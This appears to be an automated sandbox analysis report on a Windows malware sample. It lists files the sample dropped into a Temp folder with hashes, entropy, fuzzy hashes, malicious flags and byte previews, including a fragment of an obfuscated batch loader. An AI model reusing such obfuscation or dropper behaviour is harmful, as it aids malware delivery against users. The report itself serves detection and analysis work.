SHA1:	536F9C1AD6081983670AFB4F7E88E648E24175BB
SHA-256:	D1BC6E174CC46F6E8D242378B5A38A34CED585ED8D294A1D1079A7DEC9A6237D
SHA-512:	8864F337AB431CF28B147EE3E74E9D971332825658587C5215BA47D9A6FF1392FA7EF5C3BFF3CF38BCACB15B662540400A497445583B4B77B81D81BB5694E310
Malicious:	true
Preview:	.rnr..<.g..o.^..p...h..t(k\|...cLU...........s./.G..0.....e.J.9?....!.w..2'.$`...o.I..-...r..Ev].LmA.......MD.w..>...G.-a.;.o$.h..#.....8..;.M.K.....A.....E....}e......P.u._..z.@[dq...$.......P.dv@f.8a .`\.,...W@.&.".3.X..Z#....`6x=`ZhXw....\|...n.s.U=.t...x<a.....[.jk......b..6..../.6.:.s.z..ix.)..47O......].._..-.....\.Q..n?.\.Z.,....^..nD}.w....j..B..}6i.o.c...^......MW....2..u......o.\|.5......j.K.@d..Xco".2X...euH........f..V...N..N4....\.]Za1........O`^Z...sU..Ft...\|.yR.o.".f.U..+..X8.....n..=..X.3.....Y...w....E..&'....M...UJM....}q9=..S......Q....[4.zpL.,')......NiV....j..y..%".FT{W...d.V1...f...r.....:.....)M..^X.H.a.GF.y..s.qx.w...~.\|.66......j...;Xm.T..A..t............y.@.Ps~PN.D...F.....s.$h..x.9Dk...I....m.d..m.._=VMg...a......y.<..S.'L.....6J...5....i..)Z...+.#9..Y...\..,4..r?."oL.....d.^....+..[.Bzl.........}&.(..Y.f?$g.."......V...1...Y....h..ees....^....-.D....0.7...d....9.s ...r~s.r.K..l..F..t M.p.Z.$7.s.a..Ps.L./..

C:\Users\user\AppData\Local\Temp\Biodiversity

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	96256
Entropy (8bit):	7.998160366275236
Encrypted:	true
SSDEEP:	1536:gTEnlZ1AxGpyKOALxCqREIv7CoAzVxeX5t99O5o9AagdBIxDIcZeL2Gx5:gTS8GgKrdCWEIDxyveXBOaWeSD2G
MD5:	E4A02EA210673BA79BC58DC5B99394E1
SHA1:	9B374BEC27EC9B87440841460678C6F2E1240687
SHA-256:	7FE058D75C2BF56E1D9CBBD95CE11BAC0468FA4A5AB1AC8EB001F9D5D4A5D527
SHA-512:	EE99AA3FA5E558C6906852563FD06DF9628E0D0DC3EFCA6D228E1AC164753920FE52BB26E1B3FB8F59B05C9EDD2922D9556D9B43297BB9E45F65D0C48601020F
Malicious:	true
Preview:	..'.i.!=... .........DE....8e.F..2...K...*.s.....;s.-...5...M......h}.......C'......^2.0.......@.6.=y..S....4~.T.&47.P.{...7..YI.8....(.4...Yi.g.<Hx.tJT.f..Z.[wNw...Ge.......(........(.c..z..r....../...;+!J2..n...!K.DS.YE-;....}.....-.Y..Rb2.... .G.JA...2...(......SB.y'dU$.!JcCk..8....0.JC.t."G....!....P.....^^.. .....v.c..W.... .rX!...c.6..~.:(A........ADg.....,.K.y...y..6.t...7../...R.i.......j:......~.G.h.Ff.B..._...6f?/U...5....]VQ.sX.V.#....J..e..Cp..8...(..h...F.'YH.e`.fH.\`....z..x.Y..F.X..W...$&..Bu..1..x^.c._F..X..oH...:W0.!_Z.r.....\|..M.T~.Gd.F......=.B.Qw.E_..'Y..t.e-X.!.t.2.@B..qK.HZ...^...].n.b .].'8..czN.....B2A. .....RS.7@4..........+...4..1..sK......I!.X.:.~.O~.v..Bd.=2..Dw...c...P....$.0....djn..ipl..i{W...+.~.B]\|....yR?...QM_.$...w.....Z.c...........y.[,..R...I..u.1...../.F...E...&..>..\.^.(..R.}../.+.2.B..V0e..w...j.%{....w...".....E....5...h.Z....E..UO....O...9..B.3.v...T......c...6..d..J6_....X..

C:\Users\user\AppData\Local\Temp\Blvd

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	53248
Entropy (8bit):	7.996215389321042
Encrypted:	true
SSDEEP:	1536:/UnGAxu8gquJEkHvCI2+LOuvf4MzvQz3qRFJFMMtzGL8H3z:QG38gq9UvtLjvfhrQz3qzcLMz
MD5:	F92CDDF1D49EC73A6C6C25381A483216
SHA1:	01624E525D479F595668D2A886A2A9686726C0BA
SHA-256:	7C6DFC44CF89D81B573C099D4714F9740E53C3BF21058ABB0C59E22DE31D3AAB
SHA-512:	EA575D28AEC3A4288523DE876F3C8609F20AF984B80B00DA40D0782230FAE408E00E99ABCABA7B2D0AFDCB305449E8516F6DC507AAA455E97AB4990AAB6426B7
Malicious:	true
Preview:	1..-....pI...#..T....Zh..D B.....<..K...........8I.......@2..w..O.2.!.............-3Xi..p....u'!n/.........H>....?7@.i..Y..wn.....@.#ed...T...0.......mxmB"....aU.MM...t~..x(.^...B........4V.....)...V.}.]...,&v]...^B...\K......A..3..T.C1/.o2...jI=.V.......x.K.N.+..>57:S.7...x.>..(...l.].~u.N("$..<7.V ......y_#.....9.S...#...5..b...[....0{..lR\d..r..0...+.{.B......H.M#..b...,ut/..dZ.J.?Cc.]...?;f...`.+dg.AT..~.q".].)..@f.....$..~X.V.....`D..8.)y..6..(..h.K.\.0.N.0..p..H+oD... f[...*Qtv.%.....;.....+Z....O...:..A.-..S..$Z.>.'.5............V..L........G..cM.}}.63..a...!B........xy..)'......mh.MK..-..T..`....X.H..u..J.\.7F......,.j..{..o.;X{'..t.\|~\|K.........gy.gV./.l.\|.....0R.......o..xb...'....G.......,....9QN..n...K....Z.%...B._.:...!..04I\r.4B..k4...}'t....j...m0..Y$..-..{i..<.3a..zS..I...7.P....;v..9,.z.n.\,5r.)..a?....1...l.z...I.,...^e.2T[.f.....~..O....Oe4?b..-f..Y?...........egQ.:..HV.B./.Ela^=']..=.....c-..JE.z.....`....jEw.%o.

C:\Users\user\AppData\Local\Temp\Bukkake

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (5406), with CRLF line terminators
Category:	dropped
Size (bytes):	34501
Entropy (8bit):	5.059963389734597
Encrypted:	false
SSDEEP:	768:/1kSJm3fmxFkwTo4I7msXqZ40iUEdj/GAuhbtAulIfAFLdBMB4:/1NJmKkwk4kdZx/GAKAFfAaB4
MD5:	8FE00BE344A338F96B6D987C5C61022D
SHA1:	978E4CF1CA900C32D67DDE966D5B148D25CEC310
SHA-256:	6B938320D9A1D9DC9FF337EC6C5284519FF1838BD1C7B5C0C1F093F0BBA2D399
SHA-512:	216DD64298E1315D307072B557351EE06C949816F868153B178ECC1F809CD099AAE7E90A9AF4C1A6826E9315B7A35843E9B7121F89BACCF4CEDAB754B51784E8
Malicious:	false
Preview:	Set Daily=2..eQgPossession-Myanmar-Clan-Women-Reid-..VGControlling-Supports-Lemon-..bzccAlice-Hoping-Quality-Helpful-Job-..KdnrCalls-Slots-Probe-Juan-..ZRLjAchievement-Const-Di-Texture-Household-Isaac-Floyd-Discrimination-Fair-..UrAStatistics-Reviews-Distributions-Boulder-Iraq-Dui-Hired-Picture-..Set Booking=e..RDStars-..olqhRepublican-..dREBoost-Delhi-Price-Blair-..ZInjExact-..nLBIRefinance-Falls-Timer-Writers-Signing-Niger-Attend-Endif-Xnxx-..sQVArgument-Dean-Drag-Fence-Boom-Modelling-Mozilla-Importance-..VHFFFragrances-Losing-Mathematics-Luther-Beginner-Internship-Mysimon-Latino-..cfHGSanta-Metadata-Example-Periodic-Expression-Distribution-Dist-Niagara-..zvFreelance-..Set Conduct=c..nTSPerformer-Climb-Non-Application-Admit-Appraisal-Plains-..BDZEWells-Socket-Lock-Mixed-Travis-..gWGrenada-Compressed-Snowboard-Labeled-..IjCombinations-Ecology-Provider-Panic-Fiber-..sQKnListings-Absent-Fourth-Honors-..ieHbMeant-Politics-Misc-Ringtone-Cyprus-Router-Hereby-Crowd-Link-..qKwxTaylor-Suggest

C:\Users\user\AppData\Local\Temp\Bukkake.cmd

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (5406), with CRLF line terminators
Category:	dropped
Size (bytes):	34501
Entropy (8bit):	5.059963389734597
Encrypted:	false
SSDEEP:	768:/1kSJm3fmxFkwTo4I7msXqZ40iUEdj/GAuhbtAulIfAFLdBMB4:/1NJmKkwk4kdZx/GAKAFfAaB4
MD5:	8FE00BE344A338F96B6D987C5C61022D
SHA1:	978E4CF1CA900C32D67DDE966D5B148D25CEC310
SHA-256:	6B938320D9A1D9DC9FF337EC6C5284519FF1838BD1C7B5C0C1F093F0BBA2D399
SHA-512:	216DD64298E1315D307072B557351EE06C949816F868153B178ECC1F809CD099AAE7E90A9AF4C1A6826E9315B7A35843E9B7121F89BACCF4CEDAB754B51784E8
Malicious:	false
Preview:	Set Daily=2..eQgPossession-Myanmar-Clan-Women-Reid-..VGControlling-Supports-Lemon-..bzccAlice-Hoping-Quality-Helpful-Job-..KdnrCalls-Slots-Probe-Juan-..ZRLjAchievement-Const-Di-Texture-Household-Isaac-Floyd-Discrimination-Fair-..UrAStatistics-Reviews-Distributions-Boulder-Iraq-Dui-Hired-Picture-..Set Booking=e..RDStars-..olqhRepublican-..dREBoost-Delhi-Price-Blair-..ZInjExact-..nLBIRefinance-Falls-Timer-Writers-Signing-Niger-Attend-Endif-Xnxx-..sQVArgument-Dean-Drag-Fence-Boom-Modelling-Mozilla-Importance-..VHFFFragrances-Losing-Mathematics-Luther-Beginner-Internship-Mysimon-Latino-..cfHGSanta-Metadata-Example-Periodic-Expression-Distribution-Dist-Niagara-..zvFreelance-..Set Conduct=c..nTSPerformer-Climb-Non-Application-Admit-Appraisal-Plains-..BDZEWells-Socket-Lock-Mixed-Travis-..gWGrenada-Compressed-Snowboard-Labeled-..IjCombinations-Ecology-Provider-Panic-Fiber-..sQKnListings-Absent-Fourth-Honors-..ieHbMeant-Politics-Misc-Ringtone-Cyprus-Router-Hereby-Crowd-Link-..qKwxTaylor-Suggest

C:\Users\user\AppData\Local\Temp\Carlo

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	68608
Entropy (8bit):	7.997119273394379
Encrypted:	true
SSDEEP:	1536:OxyLGul/RqMbiAnwyZchp5jtLrfHpBHOnFd53IvZO/na:OxopqMbiAtZUxLrfHnHUFd53IvZO/na
MD5:	D5C01AFACE284736AB81838E6826965F
SHA1:	787FD21E775661CDD0222A71DD7BC251059D8D70
SHA-256:	D2B7E7A62422CADF29B989AA9B8A5B92107D236A9C1C7D9B22C87415AED7AECC
SHA-512:	E0D29D00708D2BE597163E1F49A64CEBD193AB6160D209FADEE6787BC5C232D15C8FB1253ADF94526B2192211FD3A4A45918A30F8639F5291572BEB527BECFD2
Malicious:	true
Preview:	.Gd.._.^.m7..}..>oG.~?..6..Q..9z.,i..6].gc]s...j....OU..a.2.=...DC..d......>....,zP.IA.u#.......C7..!\|..f..>r.U.......'ts".............e.".q.\..XP9....z.H'...Y...6...\|..YX.N`.....t..B.um..+..(L..p...FB...../+w-..~..l...F...;./..].2.U..'..s.(.^\|...~.....hPs4.@...\|8.a.}..!.C..S...$.2hp.a...P....tn...{c....D..0`...D$..U.e...IN..WT.x.S........Q..=..."..K.K...........`j...@B..ZQK..l.P.I..[~5&.-.?.T>.\|.4%....e...B.Fq...%..{...kUIPo..>3'.#..+.(.?.H.9.v..Z...i.}]#_..$Xl%!X#.;B#..fs..j...!..i..c.......(.'.nb:...).M..!.-cm.d#...\!Z.....s.y1...R....Jwb7b...i...RV.........f.z_-].%.......y....2....l..%a:...h..3..b..)...F.o.<..l.:@....S...F..8R...V...o.x.'H..Y."m.N.zr..}....Y.K....s....y...P.3..<........v1.5...a........Z.vp.BC.....jGe.m.A.v.K.$jz<#.B......:.3..LZ8....H.c.......#..,..[5.5.8.......m/.\|.I...Gzf.....O..O...&7.....!..)e..4...QjP.$.]....?v..~.%..g....%..>K...).Al..E.:Y.!p....)2.cG=....%.O..]..k.....*.`......W..~+.8X...%l9.B._......4J..y8Ay

C:\Users\user\AppData\Local\Temp\Chan

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	67584
Entropy (8bit):	7.997089215332039
Encrypted:	true
SSDEEP:	1536:b2P+SYfd/ZF5wEQDg6L+igIOZ6XgZA8KJDRaNO9s4MqlbzHI:yGSYFvcDjL+tIJQcJDcNX/gDI
MD5:	7CF1FA881750696A49E1D251856B20C8
SHA1:	3C672EA3A864461382D75AD71D6C002831D4BD74
SHA-256:	26F0F29416D72BA2754156741957B132CA768B30D5E0D16AFE672932EB1E537C
SHA-512:	2A790636F3A7D8FC57750AAE41D3300F5BE5AA2FAB40DB2547213506363FABBFC5FA6F2A2232890D1E73C26A7A9079401DE010327A3DB76EE23A0753F3E4F289
Malicious:	true
Preview:	.582........M.$.s.>.Q..u..q...CLP...V.6.+/y..-[.o1......Lf...L...:.4.;.e-.9._..,R.R_BJ..q...\|..4O.R/&.%.i.o..J#7]SW.j....H;P(.'..V.................d\|Z..S.c...U_.A...D.p.[..k...qT.].:)...a.B.6H.(n.....zL?..V'.>&.D....A//sQ .bL/..28]..P.1.Sh....^.8...\|Y./....X....... R.....X.<..L.`.W?.v...&.&.Y..8.PaD.$....A.^L.\|,...t.f?.P\...,.........J.../...?...!...5..P......k...:kg.T..jmI...e.iDYT...E.....~N..7.X.s....f...n.5....3.....f...+H5.K..C.T....[...m........E..~l&...Zhl..:+G....d.J...{..I.@o.c0.MT.+.~...c.h...>.$.../...#..@.._...P.....tJ.......1.\...j.. b;\.u.\|..5SP.d`.88.} ."..T...3..."...'N.m.OM..s.\|.^&C.......}2s.3D.#..))R..Y.u.>....pTa......8.D..}..o....n..).v;..O.F..&.+..<...........[.._../.?@v[.>.......DDl..\|<.f......~..../....$L..`[3Y..G&4.n......z!.A,.$%..r.M....H'...Ams.C...D ..RA........:..@~3...0.%.x.s......F..R.j.a...Xnn.5t.!.\|e.^.H...4..9.e.Q.z....T....<.3..N...W...Hk^/....^..&.#...eCqmW=...d].-.R.'i.......G.!..b..F)..j.J

C:\Users\user\AppData\Local\Temp\Dealing

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	101376
Entropy (8bit):	7.998159896533774
Encrypted:	true
SSDEEP:	3072:CVuJHTyw/j1ueYfTLRXg2IAlREo+glL6Cso:C+Tyw71HotlX3ECl2Cso
MD5:	474917F485506A3F70FCB5F69087D01A
SHA1:	60A52A757E58F5FF74984350CE0421D8CB691768
SHA-256:	87EF1C42601C669B8D746F4C5A1E8FC2AA1CCC39D750B5D5CF22385D898DA064
SHA-512:	009249642BD28F22DA76D18615C5483DF8D63F385EB3670061A0F70DEA2A08A785886F2FCF1C10E61D612047353CB91FAB8129F17B0F8F1E91DFAB886E6D5471
Malicious:	true
Preview:	(.{. ~.....,.>.^..n........"....a..37.$./s...lg...]....}..Y..i...%...hx.$...q.....J.l...`.DR.Zw8..k.....".....U..}.?.@.`Q....t..+.B..".x....ov.?.f...m)..../.....1E.,...z..z.o.O..OoMlt.p...A7KEa.......u.".Xs.<G...I.t]...Y.b$.D......?.......(sPv......Yn.s...ig.mE.c{.D..1.Xo..=....&Wc.@....r@..N.{....".I$....W~m.wwLa:.....Q....@4.r..E...,E..L../.d.2Y.e._..n.;?....?})..%dr.2....az..~D.'....g.?S.Hb....V........3.9rw~?S.^~..x.....W.t .....NV..GX.a.v.....&.@W.I....;}..(e;..=So~\.O`$..2H.f..^.....M.I.S_%..E4.by......@.....?HR.[...........,#e.t.r.%zb...LQT....p.0?x.`M.;o.....o......G.md...e@..d4J3...L....K..@...6...8K..".'..._.........c..B.).Q...\|l..g.~P...6..6K...Xy......E.c..v.oK.07.3...=...6K..d%.`#....1d.."=.Mh2........#[..pb....`.{...T.!..X..fK=_.....~..!61...J....vk.Ir..w.....eW.....S1.G.8..B..Xh@n...c...........Vc......6.z.........xZ....n..#i.......f.5p.'}.IH\|.,....H.=k..c..w.Z@~..%..J.wq....s.T9l....f...%.r.J.3...MuI...C.p.......

C:\Users\user\AppData\Local\Temp\Def

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	61440
Entropy (8bit):	7.9971494787265165
Encrypted:	true
SSDEEP:	1536:W/YBrX9w7S5uNDbCdtt7R6kUkCWHSEZBJGXrdY:WE8S5uNDbCdL1PbCWvJR
MD5:	49453E9DDDDE5621D3FBE791C4D84B43
SHA1:	3FFEBDE0789269C4A5D5F8C29D65D85C3449718C
SHA-256:	3BED2133AE45FBC9B3DDBD10630CBDC695DDC7DEAD3E284A994D3475D5BAB02C
SHA-512:	2A0850879FB7B9D11B86D2E71F15B0CBD39A4E10F461BEFCCDE1953651F4B78AE437D7D64CB619CB66F62294A9BED73EA1BF115AA9B908C33A4B65726326B792
Malicious:	true
Preview:	I...gZ.?..g.3. D.........V..Y.....lr..nNC...(..i3..... 7.....e....+.w....9.e.._..re....t..k.S.x.U_..J.r~..y#v.RAy.P...e5..r.n..'.......V}........1S.'\|w......$.,.9....S......H.\.~......>4.]+.....)3T.yY..d2....e{z..e........^.....5.............D.P..L."..\|\|u>...?n....A%...4+gP..7~;.S..<{..(.V....../.....2....3[..t`.v....c~.N...E%.0..x.....4.....c..J.U..$..;+.......U`...:....%.m....4.!.../..lB..N.G.q.A.._....~.}.z...H...fN.........,.n.VM!.yS..\|....68.E.....?P......U....._.\|.-@d.....hS..Vp...=.2.}._6_u.B....}.+9....q-...9@........k.....T....:I....Q....)..7..!".Bh.C..5z..&h.k\|.f.....f...-.......z$m.,(ir..Zx..7/5-:.)...L.S.x....l....E..e..].Tz..N.l..q_'...).7..)..Vx..?6...F}.K.S=.a^z...../e.a&........x.. .....mQ...'.K_.`$@...c...Vs/...<.[.1..e..uSc.O..z.9^..+.......\|b.r..WG.b.6...z..n.\|.nJ!.....3u..x.T4G.j..w.Q\~b.[SJ..'.j6Ypk.j......0....N.X.LF..^e.]m..<..~.a..Y.8Y......4.M.v..L.x.H..4\|..qi....g......8.q..P.`R..)..( 0vP...x..V.J..."$\W..(..!.....

C:\Users\user\AppData\Local\Temp\Delaware

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	61440
Entropy (8bit):	7.996928875920945
Encrypted:	true
SSDEEP:	768:+hdAX6S1PQ5Z8V9yO7lLNu8AzHLxWgRUqZTL5mot+Yhq3DtHRL4geMRBIaKjxm+:+UKS14rU9ySLbAzrsgOSYMMvL1zPKI+
MD5:	1286836DE11424FEA6FEAF0DD1E7065B
SHA1:	C7686D06965D7FBDAE04D10772678CBF727FB3D0
SHA-256:	479B27D404377DCD5C3CBF233710F887BE62654593DC84BB2FF3E57A26C8D5A4
SHA-512:	C9F41AD06FF1A9E901752C56626546399DB13BFE5C8AAD839F0A97002E91A5FD6D7BB239C9B8E4EA6894532887C570792C5695019024F318C1E9A3D169E2191E
Malicious:	true
Preview:	."`#I....S..'.. E.../jr..T...W..]1..nuW....(+.J,lL...wJ.7?V....g6.D.x9.9......Q..>....%...z.....){..>M.....6U.}..N.S.U\|y.%....1..~.},...73..ZN`.....`/&.B2....\:..p"..(.J`E.^..Q.s....I.J.p.....PU......b..`...W.?... 6H.....c...SR.!.)q....b ..z...Y..yqtre...F.....l..R..Q..v3...ud..C.@.s;!.T{..]\|.`.8fY&yy.;...k....,c...a....d..[xx.2.I..M......k.$.e.%..5.......a..O..0.t_........i.Bl.?..i.L8...'..o.s......_./2.c...Lv..Y..\."f.....\.Q.[).1af......`...1L.DQ.k...R)v..l........l.PL..E'..0...7D..JU.p.9..8x7...2=O.:.p"/...~.>.....m....)....-..p.^G[t.5.FB.\A..:.P`.......^.h..a...}cHP.Ep.....{..Z.vo..{.Q....!.,H`=....>..d-.(....C...t2....JT_.)7...0`..^a....^.}%.03..p.....\|......q.e...^..~.B.[.....j<H..3].#............m.B..de...8'..9.o .Ifn.E.........]o.GV.....J...KWo..,.....J..f.t.\|..\|.........A..M?....$...:.u.l..!...G.....Wjw...@'j\J...!u.7.s.d.........dNh...I:.....,.q....P%.6F.P.mg6b%....-.}'G..h.{.......g.@.*..8.....r}.d.....FA8...

C:\Users\user\AppData\Local\Temp\Drums

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	70656
Entropy (8bit):	7.997294945491694
Encrypted:	true
SSDEEP:	1536:m6lSWLFhuh1o2GYPstYcx6zAO14FYzbF7uHBjdfpg/MZRKeYrBV6gr+:RSWLvuLp0lmzzbF7KrS/MZRKygy
MD5:	F4712F5A501784C1277D9BB19AEAF8CE
SHA1:	E060B1B98A9C5237CDA3DFE9B079A1931FCADBA1
SHA-256:	7FD4C63B5BA2C08615504EF9D42AB515175EE9D34539E7D12300D06BC423AD23
SHA-512:	544B796C1FC8ADCEA6CFFFE87097D63C9E5CCF19AC0FF2BC5956D2F0D57C2A22D8B93B9BBB5BEA1F9FBC3EC02B1B84FCB857435F55CDD0E0170AEFD1A788F4B2
Malicious:	true
Preview:	(...R .H......B}.z.F._......Y...GF.<!..U.........,..A..%..y.~...>....nbO.F........q....#.D...-......=..[.....9..P.l../..p..{k.j..t..w0........,B..c.V.......0.a......"..5....68..s..............vC......>}.>...q.hN....]H.f.l1..F....:'m....a.e....7.V...[.7.6..'$.\|l..T........X~c..~.a.A4..[.-T..1.....$..g..]...$....L..:S..0.W..........H...H...Oc...N].:C..X.1..j"eO...]-;s.......D~~.(^..'...[.,r.G.9.p.....a..6..Wt;.....J..<....z....g..E..vo6...A...N.].<... t..e...+.......I+...^/Iv....P,.%Ky..h.)..u.....#....lZ..."Y.H.......Q...#.....\|......b...&.}G%..>S%V.<.0~..e........l........Cq.Z....(..0...a.F...d....x...L......W....0...%t?o.8OF4..X........m............'.0..S...%...C...a.8g."i.aE..<.{"V.!(...b~@.\...)...N.W.\|.,.b.b...].A.0.7..r.e....@Xf.4..\I....<..... W}........5~.H.Gw..=.6$.....l...u..t.q......FXf:..J...B....kL.r'M+..)..r.........#.......k.BI..x..<...Q.x.C....A....H.L;j.=.5&.`.1}...C\i...;.Mc_^.Z.....u...L...V.^.XM...H.D

C:\Users\user\AppData\Local\Temp\Eagle

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	76800
Entropy (8bit):	7.997991142472965
Encrypted:	true
SSDEEP:	1536:0s/260yMP9XuoxtQML5GXd57RcWN/92nvx8bJV4gLQt:0C2jRYoxtQnfVXNEnpKcj
MD5:	D0D110F21965EAEC50F5AAA1D1869B89
SHA1:	C54E760F9F5072ACAD22444EBD65F6772B056B3F
SHA-256:	93ABECD17FEAD623613D2B9D1122721E27511BE0A6906378A5E253B11DE87137
SHA-512:	E34EAF7819F5735631BDB4AC4AB6BD33E51ED41E603FDD8AB3FA8C64FA97B7780F0D63A659D17D3D19FE852490B54A1E8CAA118741016F8E51ABC962B7C26E30
Malicious:	true
Preview:	/.K...e....../J.mk...p=/+..k..7.k.AWNHep....V..\|..B9....\9\..I\|...#..j.+..(....a`-V...u...M:......W..v2..j.G.>A.D.GPI.'e.2.S..WoJl..\...`..bj!...@h.x.....E...S>s.S.5.....X.........Y..J.:.W....tP.6.d f...].f......&\}..e..? ../....v .K.<.^..A.Wc.#...U...............1um......1..g..bF...x...Qq;..c..ua.M%....'..f=3.x.P S..9......h...P,q3.^.....,V.AORg..f...3.....@u...v..GD._.f....#.....S.J...e.z9 .....3...wg.P..f.O..h..K...5.3.x.._....J\.j.%OVL...c....N~Lp:..'...hW._.`f.p.....&.J...KK..xO*.g.....^..w."..;4$....#>i.EL.....,..z3.t..K......so..N..I,....V....e.zl.V<w....M.>....lR..........%x.....J.qy(..u.....N..U......].....&l/j.. %.F.!...Eb.!.1.g....N.CU.....l(n..+.x.R...L..le.......>...[..C1..;.......;.4...4..f.{o.\3N.!H,..d.......Du.4..~.$.w.........?~...;..&...:..-...`.2.#wA..+......V.n.@~.\..^f.3D.`X.<..0.z.C.18....I..a.s./DM....w0.......4+5.n.{e`\.....vKx?..Y[}#......g.B......3.Z....H..W...]:.lg5...b.J".=.p..%.&.~...p..Kp......u.....H....

C:\Users\user\AppData\Local\Temp\Ebooks

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	78848
Entropy (8bit):	7.997904601385384
Encrypted:	true
SSDEEP:	1536:O5Ka4eY+BvqtV/Nby48TDCdghZLE0JSasH8V7LADli21VfFombvJxd7QmyRSnVKi:kK1eVYJqmCh9riQ70AqVamVxdMmWPmvD
MD5:	DA9A3F4B2516379FE9C6A2A743C1794D
SHA1:	E2D3213FD7ED7D73582ECF9B907306705916A451
SHA-256:	2AC3DFD83E45B57219324057D523471F19C8CC5D1BD898AAF2F0D4E8D3D99831
SHA-512:	3532F7B4E4F000CDBA47B19B90553BEC5A485D075A7FF003AA4A98F06CC51B917C8CE4AAF2E320DBBCE142A809562E17BDFA61E637DEEDCB5EC6C10F3674E00E
Malicious:	true
Preview:	...Fg.w...G.%...c.m../8hJ.\|d...,..E{..>.....%..ma.+.j.q.i4....iK.)..V/ ..D.....Y.8"..G$...,....I.=....9.......:-?L..u..Z..0..Se.Y.X...e.J.cA....V.PuP....`_..........e...J_2~..o.i@.k.5-Er...~N.u....@....Vz.............K.@..5>%4.pQ...h.r.H...wB...0..... `...Z....h..`\-j...5,...L.\Le...YP...b...R0)..b....!.{bv.2......`9..H.eg..]....~.X?.....v...-...M...^T...."Z...f.-.3.v[I."..0v....f"r..TqYbA....v....>......aDT.N...cq.....z0xs..j....E7..Qu=SG...M).....&`V.Ru...M2.3G....4.. ...7..`+[...hA..8...)p.........px...Cw.M...R.....7\..I\...Ua.K....._..G.f.1.....}n...Dn.p.....?....<...D[.Q3F...Fz8.kG.aw.eY.eM._j_K...R..r ..S&.....v.'.v...T`D.>....;JQ.4......".+....M.........>u.f.6.D....nY.......1...y....\|.....'...P-a..?.uu=......5.................S^.^....y.....y..}.....V.....L} ..82^8..}...A.~fsm...y.g..@....).v].m.{..ol...n.......J.C...t...f...o.._".@4P.Z[.;H.HG..IT.Sw8..;io...L....<.@....fg\.........r...'.SM..w.9.L.M..*.12@."TG..<..`S,.F....7...{.

C:\Users\user\AppData\Local\Temp\Elliott

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	82944
Entropy (8bit):	7.998088228123815
Encrypted:	true
SSDEEP:	1536:1dAC7v9CZ310FhRWLazsOQLqSqfF76KfQBwMmQD1z9VZJWEvnjZMWpgCu:z9WERpYE6VBwvE1hVZNvjZzpw
MD5:	3E80F02A4A328D16279A4B0B603FFEF6
SHA1:	B345A95875CB321F1836B763A4FD9C533B89B450
SHA-256:	CD0C3EB0FDE0A61344A631587BE2576574C4ED4088CB8F65CB53EE0ECE50EA12
SHA-512:	DB6A1442B4FE4F327108312CBC3C14A12EC5E067695CEB464673FFC33C343AD47CC4414C41DBB9778C03350990C25CE334320A5EFD361A1EDF9F2780A5F8D877
Malicious:	true
Preview:	\...;.A. .y...(...Kjr..H..."A\|w=...}...ZMfk..!.6.8..s..;G....l+ o..5...Y....` ......n..%Y...x.G..k&.!iH.C..9.>L.0....Q\.X..p.. 5....."p.....[.x."..q.._.l...{..($........w..j..}.....<b..<Ue5. ...,p~..0el..d&.I/....k.....k.... ./3...^\YM..m... .zE..U.e.....#........x...LY...<..<.+.~...n...w.q ..6#.....-J..G.....<......3.........hz...Z.K.8.T.}mv4.Y....H......?.Iu;rA.~....(U.iY$.f\..\i`.0....+.D.../......H...C'.. .l....~.}..O.VGk.;.......D..Q...\FM\.wO...9/.B.f.}j...B..!~.`.+.#.rN...~x.W.0,F%.I....>....N%.G.......].uFd.Fb...K... 3I..D...@,G..\|...(....._'....TqX..!....if.CXp6..q.<.EV.p^v...n...Th3F\h..G..../`....u....06M...Iq......n...~..<jM.u.L...2.r>W...~....'.e"..M....x:f..<.b.f.[.h..!.\.........z.F...G=..C...3^.'..+....w.>X..V.r{).....0.<C.f).........hS.].uQ?`.......Wk.../."^".....3....l;.W.wl...y=N.gprJ..^H..8......x...d....... ........."...+.*K.#.B.H.....4U....N0....~.{.t.}..bm~z...i.E0_......u..8.%KL.ZZ....h..\..9.......~...O.I....=

C:\Users\user\AppData\Local\Temp\Eugene

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	92160
Entropy (8bit):	7.998030479087967
Encrypted:	true
SSDEEP:	1536:47Ar4qL79DDbazzLl207GQAnu40PByodkc9Cb6x0/USD9macK38BEF3d3oVe3Qyf:478L7NPaznl207N4Q/ba6xQxDYvKOgtZ
MD5:	288EAA128ACA0D39F9307B7DE2EDCF52
SHA1:	2199656922889BD33F89795E0463421B5B17B7B7
SHA-256:	5335EDB286ABD2EA13FD449751076E0E0F7DCD832340BB737B5C19DF70A880DC
SHA-512:	5B8D45B2EAF018772B183CF0DFEF6E626F1A7E2D40CA8A7FE9A89336C65D358C0A94DE8B89C05E1CD6E921CFB0BA709DE55E00B5B21CA9EBC4BA4198149A9680
Malicious:	true
